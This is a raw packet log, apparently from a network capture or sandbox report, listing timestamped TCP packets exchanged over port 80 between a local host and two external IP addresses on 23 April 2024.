Apr 23, 2024 09:38:05.560359955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560369015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560399055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560405016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560435057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560441971 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560472965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560481071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560508966 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560533047 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560549021 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560553074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560586929 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560597897 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560626030 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560630083 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560662985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560679913 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560700893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560709000 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560739994 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560756922 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560781002 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560787916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560817957 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560825109 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560854912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560866117 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560899973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560903072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560940981 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560944080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.560981989 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.560987949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561018944 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561036110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561037064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561054945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561062098 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561073065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561078072 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561089993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561100006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561110020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561115980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561126947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561146975 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561147928 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561162949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561163902 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561182022 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561186075 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561199903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561218023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561219931 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561233997 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561250925 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561253071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561268091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561284065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561285019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561301947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561316013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561317921 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561331987 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561336040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561352968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561363935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561371088 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561388016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561410904 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561415911 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561429977 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561438084 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561448097 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561467886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561467886 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561484098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561496019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561503887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561518908 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561522007 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561539888 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561552048 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561559916 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561578035 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561583996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561594963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561611891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561615944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561630011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561646938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561657906 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561666965 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561682940 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561683893 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561693907 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561702013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561717987 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561728954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561733961 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561752081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561759949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561768055 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.561779976 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.561809063 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.728800058 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.728828907 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.728858948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.728876114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.729024887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.729024887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.762975931 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763092041 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763113976 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763134003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763154984 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763195038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763231039 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763267040 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763303995 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763339043 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763375998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763382912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.763382912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.763382912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.763382912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.763416052 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763421059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.763421059 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.763453960 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763489962 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763509989 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.763530016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.763537884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.763731003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.961824894 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.961890936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.961908102 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.961935997 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.961951017 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.961975098 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.961988926 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962018013 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962024927 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962054968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962065935 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962091923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962097883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962131023 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962140083 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962168932 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962182045 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962208986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962223053 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962245941 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962258101 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962282896 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962289095 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962320089 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962336063 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962357044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962363958 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962395906 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962407112 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962431908 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962441921 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962467909 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962476015 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962505102 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962508917 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962541103 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962553024 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962579966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962587118 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962618113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962654114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962690115 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962724924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962762117 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962799072 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962835073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962871075 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.962873936 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962913036 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962949991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.962985992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.963021994 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.963057995 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:05.963195086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:05.964473963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964514017 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964550972 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964551926 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964581966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964589119 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964590073 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964626074 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964663029 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964677095 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964700937 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964709044 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964740992 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964750051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964778900 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964781046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964816093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964818954 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964852095 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964858055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964889050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964890003 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964927912 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964930058 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.964967012 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.964967966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965003014 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965013981 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965039968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965050936 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965076923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965084076 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965115070 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965121031 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965154886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965166092 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965192080 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965198994 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965229988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965236902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965266943 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965279102 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965303898 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965310097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965341091 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965347052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965378046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965387106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965415955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965425014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965452909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965460062 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965490103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965500116 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965528011 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965539932 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965569973 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965575933 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965606928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965614080 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965643883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965651035 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965681076 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965687037 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965718985 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965725899 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965759993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965764046 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965796947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965804100 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965835094 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965841055 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965871096 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965878963 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965907097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965909004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965946913 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965955019 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.965982914 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.965986967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966020107 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966026068 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966056108 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966065884 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966094971 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966101885 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966134071 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966139078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966176033 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966181040 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966212988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966219902 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966250896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966254950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966288090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966298103 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966325998 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966336012 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966362000 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966370106 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966398954 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966406107 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966435909 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966439962 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966473103 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966480970 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966510057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966520071 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966548920 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966557980 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966586113 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966593027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966622114 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966629028 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966660023 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966667891 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966696024 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966703892 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966734886 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966751099 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966770887 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966778040 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966808081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966815948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966844082 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966851950 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966881037 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966890097 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966918945 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966927052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966954947 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.966969013 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.966991901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967000008 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967027903 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967037916 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967066050 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967073917 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967103004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967111111 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967143059 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:05.967149973 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:05.967180967 CEST	80	49733	185.172.128.76	192.168.2.4
